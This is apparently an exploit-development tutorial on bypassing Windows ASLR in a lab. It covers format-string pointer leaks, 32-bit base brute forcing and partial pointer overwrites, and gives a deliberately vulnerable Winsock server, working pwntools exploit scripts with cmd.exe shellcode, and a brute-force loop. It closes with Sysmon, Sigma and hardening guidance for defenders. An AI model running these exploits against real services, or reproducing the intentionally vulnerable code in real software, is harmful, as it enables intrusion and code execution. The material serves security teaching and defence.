Defeating ASLR: Info Leak Primitives, Brute Force, and Partial Overwrites

By Debraj Basak·Oct 16, 2026·19 min readExploit Development

You’ve got clean EIP control on a 32-bit Windows service. You know the exact offset, you’ve picked your JMP ESP, and then the exploit fails on every run because the module base moves. ASLR did its one job. The rest of this post is how you take that job away from it, three different ways, against a server you compile yourself.

Objective: Understand how Windows ASLR is implemented (boot-time vs load-time randomization, entropy, and the compiler flags that drive it), then defeat it in a lab three ways: an information-leak primitive that recovers a module base, a brute-force attack against low-entropy 32-bit targets, and a partial overwrite that never touches the randomized bits. Each offensive step is paired with the telemetry a defender uses to catch it.


1. Why ASLR Exists and What It Actually Randomizes

Address Space Layout Randomization was born in the PaX project for Linux in 2001 and folded into Windows with Vista. The idea is simple and the implementation is where it gets interesting: randomize where code and data land in the virtual address space so an attacker can’t hardcode the address of a gadget, a function, or a buffer.

Here is the insight the entire post hangs on. ASLR randomizes the base address of a module. It does not randomize the internal layout of that module. The compiler fixes every function offset, every string, every JMP ESP at build time. Those relative virtual addresses (RVAs) are constant for a given build. If you learn one runtime address inside a module, you learn all of them, because:

runtime_address = module_base + static_rva

Flip that around and you have the whole game:

module_base = leaked_runtime_address - static_rva

Leak one pointer into a module’s .text, subtract the RVA you read off in IDA or WinDbg, and the base falls out. Every gadget address follows.

ASLR also randomizes the stack base and heap base, which kills “jump to my shellcode at a fixed stack address” style attacks. What it does not randomize is the low bits of a page-aligned address (bottom 12 bits are always zero for 4 KB pages), which is exactly what the partial-overwrite technique in section 7 exploits.

Entropy: the 32-bit weakness

Entropy is the real story. The numbers below are approximate and vary by Windows version and configuration, but the gap is the point.

PlatformRandomized bits (approx)Brute-force cost
32-bit Windows (image base)8 of 32 bits2^8 = 256 guesses
64-bit Windows 10 (stack / libraries)up to ~19 bits2^19 = 524,288
Linux x86-64 (libraries)up to ~28 bits2^28, infeasible

Eight bits is nothing. Two hundred fifty-six tries against a service that doesn’t re-randomize is a lunch break. That is why 32-bit targets with a persistent listener are the canonical brute-force victims, and why “move to 64-bit” is the single most effective hardening step.

The flags that opt a binary in

FlagPurpose
/DYNAMICBASEMarks the PE image as ASLR-compatible. Without it, the loader honors the preferred base and the image lands at a predictable address every time.
/HIGHENTROPYVAOn Windows 8+, required in addition to /DYNAMICBASE so a 64-bit image gets high-entropy (top-down) randomization.
/NXCOMPATOpts into DEP. Not ASLR itself, but part of the same mitigation posture.

The lab target is deliberately built with /DYNAMICBASE only and no /HIGHENTROPYVA (it’s 32-bit anyway), and with /GS off so stack cookies don’t distract from the ASLR work.


Illustration showing a jigsaw puzzle with shifting outer border pieces but a fixed interior pattern, representing ASLR randomizing module base while internal offsets stay constant
ASLR scrambles where a module lands, but every internal offset remains frozen – leak one runtime address and the entire internal map falls out.

2. Windows ASLR Internals: Boot-Time vs Load-Time Randomization

Windows randomizes in two phases, and conflating them is a common mistake.

Boot-time randomization applies to the native OS DLLs (ntdll.dll, kernel32.dll, kernelbase.dll, and friends). Their base addresses are chosen once when the system boots and stay fixed until the next reboot. Every process on that boot sees ntdll at the same address. That shared stability is handy for a leak: find ntdll once in any process and you’ve found it everywhere until reboot.

Load-time randomization applies to the main executable and to non-system DLLs. Each time the image loads, if it opted into ASLR, the Windows loader (ntdll!LdrLoadDll and the mapping path underneath it) relocates it to a fresh base.

Force ASLR / Mandatory ASLR

A module compiled without /DYNAMICBASE normally loads at its preferred base. Force ASLR (available on Windows 8, or Windows 7 with KB 2639308) overrides that and randomizes the image anyway. You enable it per-application through Image File Execution Options:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<AppName>
  MitigationOptions = (REG_QWORD) force-relocate-images bits set

On Windows 10/11 the same thing lives in Exploit Protection (covered in section 9).

Checking a binary’s ASLR status

Before you attack it, read the PE headers:

dumpbin /headers leak_srv.exe | findstr "DLL characteristics"
:: "Dynamic base"  -> /DYNAMICBASE present (ASLR on)
:: "NX compatible"  -> /NXCOMPAT present (DEP on)
:: "High Entropy Virtual Addresses" -> /HIGHENTROPYVA present

Or interactively in WinDbg after attaching:

lm                 ; list all modules with base addresses
lm m leak_srv      ; base of our target this run

Run lm twice across two launches. The base moves for /DYNAMICBASE images and stays put for anything that opted out. Any single opted-out module in the process is a free, stable gadget source. That is the first thing I check on a real target, and it’s astonishing how often one third-party DLL forgot the flag.


3. The PEB/LDR Chain: Your Road Map to Module Bases

Once you have an arbitrary read, the Process Environment Block is where you go to enumerate loaded modules and recover their bases without guessing. The PEB is reachable without any API call: it’s hung off a segment register.

// x64: PEB pointer lives at gs:[0x60]
PPEB peb = (PPEB)__readgsqword(0x60);

// x86: PEB pointer lives at fs:[0x30]
PPEB peb = (PPEB)__readfsdword(0x30);

From the PEB you walk the loader data.

Struct / FieldOffset (x64)Purpose
PEB.ImageBaseAddress+0x10Base of the main executable image
PEB.Ldr+0x18Pointer to PEB_LDR_DATA
PEB_LDR_DATA.InLoadOrderModuleListlist headDoubly-linked list of loaded modules
LDR_DATA_TABLE_ENTRY.InLoadOrderLinks+0x00List linkage
LDR_DATA_TABLE_ENTRY.DllBase+0x30Runtime base of this module
LDR_DATA_TABLE_ENTRY.BaseDllNameUNICODE_STRINGe.g. ntdll.dll

PEB_LDR_DATA holds three views of the same modules: InLoadOrderModuleList, InMemoryOrderModuleList, and InInitializationOrderModuleList. To pull kernel32 or ntdll out, walk one of them, match on BaseDllName, and read DllBase.

A minimal x64 walk:

typedef struct _LDR_ENTRY {
    LIST_ENTRY InLoadOrderLinks;      // +0x00
    LIST_ENTRY InMemoryOrderLinks;    // +0x10
    LIST_ENTRY InInitOrderLinks;      // +0x20
    PVOID      DllBase;               // +0x30
    PVOID      EntryPoint;            // +0x38
    ULONG      SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} LDR_ENTRY, *PLDR_ENTRY;

PPEB peb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldr = peb->Ldr;
PLIST_ENTRY head = &ldr->InLoadOrderModuleList;
for (PLIST_ENTRY cur = head->Flink; cur != head; cur = cur->Flink) {
    PLDR_ENTRY e = (PLDR_ENTRY)cur;      // InLoadOrderLinks is at +0x00
    // match e->BaseDllName.Buffer, read e->DllBase
}

Validate the field offsets yourself against your exact Windows build before trusting them:

dt _PEB @$peb
dt _PEB_LDR_DATA
dt _LDR_DATA_TABLE_ENTRY
!peb

Offsets drift between builds. The reviewer note on this brief exists because +0x30 DllBase is correct for current x64 but you should confirm with dt on the box you’re actually on.


4. Info Leak Primitives: Theory and Taxonomy

An info leak is any bug that hands you a raw pointer out of the target’s address space. You don’t need a full arbitrary read to start; one reflected pointer into a known module is enough to compute a base.

PrimitiveDescription
Format string (%p, %N$p)printf/sprintf on attacker-controlled data dumps stack contents, including saved return addresses and module pointers
Out-of-bounds readA length bug reads past a buffer into adjacent pointers (classic in network parsers)
Uninitialized memoryA response buffer returns stale heap/stack data containing live pointers
Dangling pointerUse-after-free reveals a freed object’s contents including vtable pointers
Controlled ReadProcessMemoryFull cross-process arbitrary read once you have a handle with PROCESS_VM_READ

The format string bug is the easiest to demonstrate over the network, so that’s what the lab uses. Feed %p and the function pushes successive stack slots into the output as hex. Somewhere in that spray is a return address that points into leak_srv‘s own .text, which is all we need.

The gotcha that cost me an hour the first time: the correct %p index is not stable in your head, it is empirical. Which stack slot holds a .text pointer depends on the exact stack frame, the compiler, and how your format string itself is laid out on the stack. Do not assume index 7 because a blog said so. Spray thirty specifiers, print every value, and find the one that lands in the module’s known range (on 32-bit this is roughly 0x00400000-ish before you account for the randomized high byte). Lock the index with WinDbg, then hardcode it.


Flow diagram tracing the full info-leak ASLR bypass chain: format string spray reveals a stack pointer, subtracting the static RVA recovers the module base, rebasing yields the runtime gadget address, which drives the overflow
One reflected pointer is all it takes – subtract the static RVA and every gadget address in the module becomes known.

5. Lab: Building and Exploiting a Vulnerable Network Service

5.1 The target

leak_srv.c is a tiny Winsock server with two bugs: a format string in the response path and a stack overflow in the receive path. Build it 32-bit, with /DYNAMICBASE and no /GS.

// leak_srv.c - intentionally vulnerable lab target
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void handle_client(SOCKET client) {
    char buf[256];
    char resp[512];
    int n = recv(client, buf, 1024, 0);  // VULN 2: 1024 bytes into 256-byte buf
    buf[n] = '\0';
    sprintf(resp, buf);                  // VULN 1: format string, no format arg
    send(client, resp, strlen(resp), 0);
}

int main() {
    WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa);
    SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
    bind(srv, (struct sockaddr*)&addr, sizeof(addr));
    listen(srv, 1);
    while (1) { SOCKET cl = accept(srv, NULL, NULL); handle_client(cl); closesocket(cl); }
}

Build with MSVC:

cl /Od /GS- leak_srv.c /link /DYNAMICBASE /SUBSYSTEM:CONSOLE ws2_32.lib

Run it in a Windows 7/10 x86 VM. To keep the process alive across crashes for the brute-force phase, suppress Windows Error Reporting:

HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting
  DontShowUI = 1
  Disabled   = 1

5.2 Phase 0: recon

dumpbin /headers leak_srv.exe | findstr "DLL characteristics"
:: expect "Dynamic base" present, "High Entropy VA" absent on this 32-bit build

Attach WinDbg, note the base this run with lm m leak_srv, then detach and restart to confirm it moves.

5.3 Phase 1: format string leak

# exploit_leak.py (pwntools)
from pwn import *

io = remote('192.168.56.10', 9999)

io.send(b'%p.' * 30)                    # spray 30 stack slots as hex pointers
leak_raw = io.recv(1024).decode(errors='ignore')
io.close()

ptrs = [int(x, 16) for x in leak_raw.split('.') if x.startswith('0x') and len(x) > 4]
for i, p in enumerate(ptrs):
    log.info(f"index {i:2d}: {hex(p)}")

5.4 Phase 2: validate the leaked pointer and compute base

Confirm which index is a return address into .text:

bp leak_srv!handle_client   ; break into the handler
g                           ; let the sprintf run
dds esp L20                 ; dump stack - find the addr that matches lm m leak_srv range
? <leaked_ptr> - 0x00400000 ; RVA against the static analysis base

Then rebase in the script:

# the leaked pointer you identified (example, varies per run)
leaked_ptr    = 0x004a1a3c
static_offset = 0x1a3c           # RVA from WinDbg/IDA for that pointer
module_base   = leaked_ptr - static_offset
log.success(f"leak_srv base: {hex(module_base)}")

5.5 Phase 3: find the overflow offset

The second bug gives EIP control. Send a cyclic pattern and read EIP from the crash:

msf-pattern_create -l 400
r eip                          ; e.g. 0x61616d61
msf-pattern_offset -q 0x61616d61    ; -> 268

So 268 bytes of padding, then four bytes of EIP. In pwntools the equivalent is cyclic(400) and cyclic_find(0x61616d61).

5.6 Phase 4: a usable redirect gadget

With DEP off for this isolation lab, a JMP ESP to pivot onto shellcode on the stack is enough. Pull the gadget RVA statically, then rebase it at runtime:

ROPgadget --binary leak_srv.exe --rop | grep "jmp esp"
# note the static VA; runtime VA = module_base + (static_VA - 0x00400000)

5.7 Phase 5: the full exploit

One connection leaks, a second connection overflows using the recovered base.

from pwn import *

HOST, PORT   = '192.168.56.10', 9999
STATIC_OFFSET = 0x1a3c            # RVA of the leaked return address
JMP_ESP_RVA   = 0x1234            # (static_VA - 0x00400000) from ROPgadget
LEAK_INDEX    = 7                 # identified empirically in Phase 1/2

# --- leak ---
io = remote(HOST, PORT)
io.send(b'%p.' * 30)
resp = io.recv(1024).decode(errors='ignore')
io.close()
ptrs = [int(x, 16) for x in resp.split('.') if x.startswith('0x') and len(x) > 4]
leaked = ptrs[LEAK_INDEX]
module_base = leaked - STATIC_OFFSET
log.success(f"base {hex(module_base)}")

# --- rebase gadget ---
jmp_esp_rt = module_base + JMP_ESP_RVA
log.info(f"runtime JMP ESP {hex(jmp_esp_rt)}")

# --- overflow ---
shellcode = asm(shellcraft.windows.exec('cmd.exe'), arch='x86')
payload  = b'A' * 268 + p32(jmp_esp_rt) + b'\x90' * 16 + shellcode

io2 = remote(HOST, PORT)
io2.send(payload)
io2.interactive()

That is ASLR defeated by disclosure. The base changed every run, and we recovered it every run before we ever sent the overflow.


6. Brute Force on 32-bit Targets

No leak? On a 32-bit image with only 8 bits of entropy, you can guess. The conditions that make this practical:

  • The service keeps running after a failed attempt (listener loop, catch-all exception handler, WER suppressed), so a bad guess costs one connection, not a re-randomization.
  • The randomized portion is narrow. On 32-bit the image base is effectively 0x00XX0000 for a single random byte XX, giving 256 candidates.
# brute_force.py - 32-bit, ~8-bit entropy -> 256 candidate bases
from pwn import *

HOST, PORT   = '192.168.56.10', 9999
JMP_ESP_RVA  = 0x1234
NOP_SLED     = b'\x90' * 16
SHELLCODE    = asm(shellcraft.windows.exec('cmd.exe'), arch='x86')

for base_byte in range(0x00, 0x100):
    candidate_base = (base_byte << 16) | 0x400000   # 0x00XX0000 family
    jmp_esp = candidate_base + JMP_ESP_RVA
    payload = b'A' * 268 + p32(jmp_esp) + NOP_SLED + SHELLCODE
    try:
        io = remote(HOST, PORT, timeout=1)
        io.send(payload)
        data = io.recv(timeout=1)
        if b'success_marker' in data:      # replace with a real liveness signal
            log.success(f"hit at base {hex(candidate_base)}")
            break
        io.close()
    except Exception:
        pass

Worst case 256 connections. In practice far fewer, because a wrong base usually crashes the handler cleanly and you move on. This is why 64-bit matters: push entropy to ~19 bits and the same loop becomes half a million tries, generating a crash storm no one misses (see detection below).


7. Partial Overwrites: Mechanics and Limits

A partial overwrite sidesteps ASLR without leaking anything. The trick: the low-order bits of an address are not randomized. For a 4 KB page the bottom 12 bits are fixed by page alignment, and ASLR only perturbs the high bytes of the module base. If you overwrite just the low one or two bytes of a saved pointer, you redirect execution within the same region the pointer already points into, without disturbing the randomized high bytes you don’t know.

Because you control the write, you control how many bytes you overwrite. Clobber only the low two bytes of a return address or function pointer and the randomized high two bytes are left intact. You can only reach targets within the same 64 KB window (two bytes of play), but that is frequently enough to hit a nearby gadget or an attacker-primed pointer.

This technique was made famous by the Vista animated-cursor bug, CVE-2007-0038, which used a partial return-address overwrite to defeat ASLR. One caveat that trips people up: with GS++ hardening (2010), the partial EIP overwrite stopped working in the ordinary guarded stack-overflow case, because the stack cookie check catches the corruption before the function returns. Partial overwrites remain alive and well where the stack cookie is not in the way: heap overflows into a vtable or function pointer, struct overflows into an adjacent function pointer, and SEH-based paths.

A minimal heap/struct demo target:

// partial_srv.c - heap overflow into an adjacent function pointer
#include <string.h>
#include <stdlib.h>

typedef struct {
    char   name[16];
    void (*cb)(void);     // function pointer right after the buffer
} obj_t;

void safe_handler(void)   { /* normal path */ }
void secret_gadget(void)  { /* same module, ~same page as safe_handler */ }

void process(const char *in) {
    obj_t *o = malloc(sizeof(obj_t));
    o->cb = safe_handler;
    strcpy(o->name, in);  // VULN: overflow name[] into o->cb low bytes
    o->cb();              // redirected if low bytes of cb were overwritten
}

Overwrite name with 16 bytes plus one or two bytes that rewrite only the low part of o->cb. Because safe_handler and secret_gadget live in the same module and often the same page, flipping the low byte(s) of cb lands on the gadget. No base address required, no cookie in the path.


Graph diagram showing a saved function pointer split into high randomized bytes left untouched and low fixed bytes targeted by the overflow, redirecting execution to a nearby gadget within the same 64 KB window
Partial overwrites exploit the non-randomized low bytes of a pointer – the randomized high bytes are never touched and never need to be known.

8. Chaining It Together: ASLR Bypass to DEP Bypass to Code Execution

In the real world DEP is on, so the stack is not executable and the JMP ESP to shellcode shortcut dies. ASLR bypass is the precursor: without a module base, you cannot know your ROP gadget addresses, so you cannot build a chain, so you cannot call VirtualProtect or VirtualAlloc to mark your shellcode executable.

The full chain, assembled from the pieces above:

  1. Leak a pointer with the format string bug.
  2. Compute module_base = leaked - static_offset.
  3. Rebase every gadget RVA and the VirtualProtect/VirtualAlloc import thunk off that base.
  4. Build a ROP chain that calls VirtualProtect(stack_region, size, PAGE_EXECUTE_READWRITE, old).
  5. Return into your now-executable shellcode.

In pwntools the rebase bookkeeping is clean once you have the base:

e = ELF('leak_srv.exe')
e.address = module_base          # relocate the whole image to runtime base
rop = ROP(e)
rop.raw(rop.find_gadget(['pop eax', 'ret']).address)
# ... assemble VirtualProtect args, then jump to shellcode on the stack

ASLR is the lock, DEP is the deadbolt. The leak picks the lock; the ROP chain picks the deadbolt.


9. Common Attacker Techniques

TechniqueDescription
Format string disclosure%p/%N$p against a vulnerable printf-family call to reflect stack pointers back over the wire
PEB/LDR walkEnumerate loaded modules via gs:[0x60]/fs:[0x30] to recover DllBase for every module after an arbitrary read
Non-ASLR module huntingFind one module lacking /DYNAMICBASE; it loads at a fixed base and becomes a stable gadget source
Low-entropy brute forceLoop 256 candidate bases against a persistent 32-bit service that does not re-randomize on crash
Partial pointer overwriteCorrupt only the low 1-2 bytes of a function/return pointer to reach a same-region gadget without touching randomized bits
Cross-process readOpenProcess(PROCESS_VM_READ) + ReadProcessMemory to leak another process’s module bases

10. Detection, Hardening, and Defender Playbook

Sysmon Event IDs

Event IDNameRelevance
1Process CreateRepeated crash/restart cycles and WerFault.exe spawning from the target signal brute force
7Image LoadAlert on modules loaded without the DYNAMICBASE characteristic
10Process AccessCross-process reads; filter on GrantedAccess: 0x10 (PROCESS_VM_READ)
25Process TamperingIn-memory tampering such as hollowing, a common follow-on once ASLR and DEP are bypassed

ETW providers

ProviderUse
Microsoft-Windows-Kernel-ProcessProcess/thread create plus image load; spot looping restarts
Microsoft-Windows-Kernel-MemoryAllocation anomalies and VirtualProtect flipping regions executable
Microsoft-Windows-Security-Auditing (4663)Object access via SACL on sensitive processes to catch cross-process ReadProcessMemory

Audit policy

auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable
:: handle opens for ReadProcessMemory surface as 4656 / 4663
:: Audit Process Creation (4688) tracks crash/restart cycles
:: Audit Privilege Use flags SeDebugPrivilege before cross-process reads

Sigma: brute-force crash loop

title: Repeated WerFault Invocations (Possible ASLR Brute Force)
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\WerFault.exe'
    CommandLine|contains: '-p'
  timeframe: 60s
  condition: selection | count() by CommandLine > 5
level: high

Sigma: info-leak cross-process read

title: Suspicious Cross-Process Memory Read
logsource:
  product: windows
  category: process_access
detection:
  selection:
    EventID: 10
    GrantedAccess: '0x10'
    TargetImage|contains:
      - 'lsass.exe'
      - 'leak_srv.exe'
  filter:
    SourceImage|contains: 'svchost'
  condition: selection and not filter
level: high

Hardening

  1. Turn on all three Exploit Protection ASLR settings for every process: Mandatory ASLR (force relocation), Bottom-up ASLR (randomize allocations), and High-entropy ASLR. Windows Security, App and browser control, Exploit Protection.
  2. Compile with /DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT. One non-ASLR module undoes the rest; it loads at a fixed base and gives attackers a reliable gadget source.
  3. Make crashes fatal. A well-behaved service should exit and re-randomize on restart. A non-terminating catch-all handler is what makes brute force viable.
  4. Go 64-bit. Roughly 19 bits of entropy versus 8 turns 256 guesses into half a million, taking brute force off the table for most services.
  5. Enable Control Flow Guard (/guard:cf). It validates indirect call targets and blunts partial overwrites into vtable and function pointers.
  6. Enable ACG via SetProcessMitigationPolicy(ProcessDynamicCodePolicy). It blocks VirtualProtect from marking pages executable, breaking the ASLR-bypass to DEP-bypass chain even after a successful leak.

Illustration of a multi-layered reinforced gate with a crack at the base being sealed, symbolizing defense-in-depth hardening against ASLR bypass techniques
Mandatory ASLR, 64-bit entropy, CFG, and ACG stack into layered defenses – each layer independently raises the cost of a successful bypass.

11. Tools for ASLR Bypass Analysis

ToolDescriptionLink
WinDbgPEB/LDR walks (dt _PEB, !peb), module bases (lm), crash triagemicrosoft.com
dumpbinRead PE DLL characteristics for ASLR/DEP/HEVA flagsmicrosoft.com
Process HackerLive module list, ASLR column, memory inspectionprocesshacker.sourceforge.io
x64dbgDynamic analysis, gadget hunting, partial-overwrite testingx64dbg.com
Ghidra / IDAStatic RVAs for leaked-pointer offsets and gadget locationsghidra-sre.org
ROPgadgetEnumerate gadgets and JMP ESP for the rebase stepgithub.com
pwntoolsremote, ELF, ROP, cyclic, shellcraft for the full chainpwntools.com
Metasploit pattern toolspattern_create / pattern_offset for EIP offsetmetasploit.com

12. MITRE ATT&CK Mapping

ASLR bypass is not its own ATT&CK technique. It is an enabling step inside the exploit, so it maps to the techniques it unlocks.

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Crash telemetry, Sysmon 1, memory anomalies
Process InjectionT1055Sysmon 10 GrantedAccess 0x10, handle audit 4656/4663
Process HollowingT1055.012Sysmon 25 Process Tampering
Hijack Execution Flow: DLL Side-LoadingT1574.002Sysmon 7 image loads lacking DYNAMICBASE
System Information DiscoveryT1082PEB walks to enumerate gadget-rich non-ASLR modules
Debugger EvasionT1622PEB BeingDebugged checks while building the exploit

Summary

  • ASLR randomizes module bases, not internal offsets, so one leaked pointer plus its static RVA recovers the base and every gadget address with it.
  • The information-leak path is the reliable modern bypass: a format string or out-of-bounds read discloses a pointer, you compute base = leaked - offset, then rebase your ROP chain.
  • Brute force stays viable on 32-bit targets (about 8 bits, 256 guesses) when the service does not re-randomize after a crash; moving to 64-bit kills it.
  • Partial overwrites defeat ASLR with no leak by rewriting only the non-randomized low bytes of a pointer, and they survive GS++ specifically in heap, struct, and SEH scenarios where the stack cookie is out of the path.
  • Defenders catch all three with Sysmon Event IDs 1, 7, 10, and 25, kernel-object auditing (4656/4663), and crash-loop Sigma rules, and shut them down with full Exploit Protection, 64-bit builds, CFG, and ACG.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.